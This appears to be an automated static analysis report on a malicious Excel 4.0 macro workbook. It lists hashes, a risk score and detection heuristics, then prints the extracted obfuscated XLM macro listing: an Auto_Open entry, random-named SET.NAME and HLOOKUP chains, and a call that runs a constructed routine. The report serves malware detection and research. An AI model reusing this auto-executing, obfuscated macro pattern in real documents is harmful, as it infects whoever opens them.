Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c737af27099e42b4…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:45:07 Authoring application: Microsoft Excel First seen: 2021-04-01
MD5: 118bef63db21742ef6ed691797603c89 SHA-1: 1a8a42cfde58697eb83def886133f4ddd1f58246 SHA-256: c737af27099e42b41b12c6a0d05b5f2e4f4770380863ad66a26e39529098c5cc
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6640 bytes
SHA-256: e137596c7325e86b7324a64b781fa2376fd1afc78bc4934302002e505740bb3e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  yDOQjp
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D140 
' 0018     20 LABEL : Cell Value, String Constant - deVUt len=0 
' 0018     24 LABEL : Cell Value, String Constant - dJnQHYTKp len=0 
' 0018     23 LABEL : Cell Value, String Constant - EGcRuRrT len=0 
' 0018     25 LABEL : Cell Value, String Constant - EYZkDwKqey len=0 
' 0018     26 LABEL : Cell Value, String Constant - FKVHSIEbREB len=0 
' 0018     26 LABEL : Cell Value, String Constant - fpTCKfJcapo len=0 
' 0018     24 LABEL : Cell Value, String Constant - fqsEPRDpN len=0 
' 0018     21 LABEL : Cell Value, String Constant - gNndkf len=0 
' 0018     25 LABEL : Cell Value, String Constant - hDRofErPek len=0 
' 0018     27 LABEL : Cell Value, String Constant - lbsaHkYHMjpc len=0 
' 0018     25 LABEL : Cell Value, String Constant - lPwSFFaagZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - OkfrOIrS len=0 
' 0018     20 LABEL : Cell Value, String Constant - OMSff len=0 
' 0018     20 LABEL : Cell Value, String Constant - ONxum len=0 
' 0018     25 LABEL : Cell Value, String Constant - QXXcXLYiLx len=0 
' 0018     20 LABEL : Cell Value, String Constant - sWWhV len=0 
' 0018     26 LABEL : Cell Value, String Constant - ugAOIaOmTwX len=0 
' 0018     21 LABEL : Cell Value, String Constant - vGXVDs len=0 
' 0018     23 LABEL : Cell Value, String Constant - XTBFJSoj len=0 
' 0018     24 LABEL : Cell Value, String Constant - XVKicocPj len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  yDOQjp,P67,"",-665.00000000000000000000
'  yDOQjp,P68,"",361.00000000000000000000
'  yDOQjp,D69,"SET.NAME("sWWhV",0+VALUE("0"))",""
'  yDOQjp,P69,"",502.00000000000000000000
'  yDOQjp,P70,"",-812.00000000000000000000
'  yDOQjp,D71,"SET.NAME("QXXcXLYiLx",sWWhV)",""
'  yDOQjp,P71,"",-830.00000000000000000000
'  yDOQjp,P72,"",-610.00000000000000000000
'  yDOQjp,D75,"SET.NAME("lPwSFFaagZ",sWWhV)",""
'  yDOQjp,D78,"SET.NAME("lbsaHkYHMjpc",COUNTA(vGXVDs))",""
'  yDOQjp,D80,"SET.NAME("EYZkDwKqey",COUNTA(deVUt))",""
'  yDOQjp,D82,[],""
'  yDOQjp,D84,"SET.NAME("XTBFJSoj","")",""
'  yDOQjp,D88,"QXXcXLYiLx",""
'  yDOQjp,D90,"SET.NAME("FKVHSIEbREB",HLOOKUP("*",vGXVDs,QXXcXLYiLx,FALSE))",""
'  yDOQjp,D94,"hDRofErPek",""
'  yDOQjp,D96,"SET.NAME("gNndkf",sWWhV)",""
'  yDOQjp,D98,[],""
'  yDOQjp,D102,"gNndkf",""
'  yDOQjp,D104,"fqsEPRDpN",""
'  yDOQjp,D107,"dJnQHYTKp",""
'  yDOQjp,D109,"XVKicocPj",""
'  yDOQjp,D111,"SET.NAME("EGcRuRrT",VALUE(HLOOKUP("*",deVUt,XVKicocPj,FALSE)))",""
'  yDOQjp,D113,"ugAOIaOmTwX",""
'  yDOQjp,D116,"XTBFJSoj",""
'  yDOQjp,D119,"lPwSFFaagZ",""
'  yDOQjp,D123,NEXT(),""
'  yDOQjp,D125,"fpTCKfJcapo",""
'  yDOQjp,D129,[],""
'  yDOQjp,D134,"ONxum",""
'  yDOQjp,D136,NEXT(),""
'  yDOQjp,D138,RETURN(),""
'  yDOQjp,D166,"SET.NAME("OkfrOIrS",D69)",""
'  yDOQjp,D171,"vGXVDs",""
'  yDOQjp,D174,"SET.NAME("deVUt",R69C15)",""
'  yDOQjp,D178,"SET.NAME("ONxum",186)",""
'  yDOQjp,D183,"SET.NAME("OMSff",4)",""
'  yDOQjp,D185,OkfrOIrS(),""
'  yDOQjp,D186,HALT(),""

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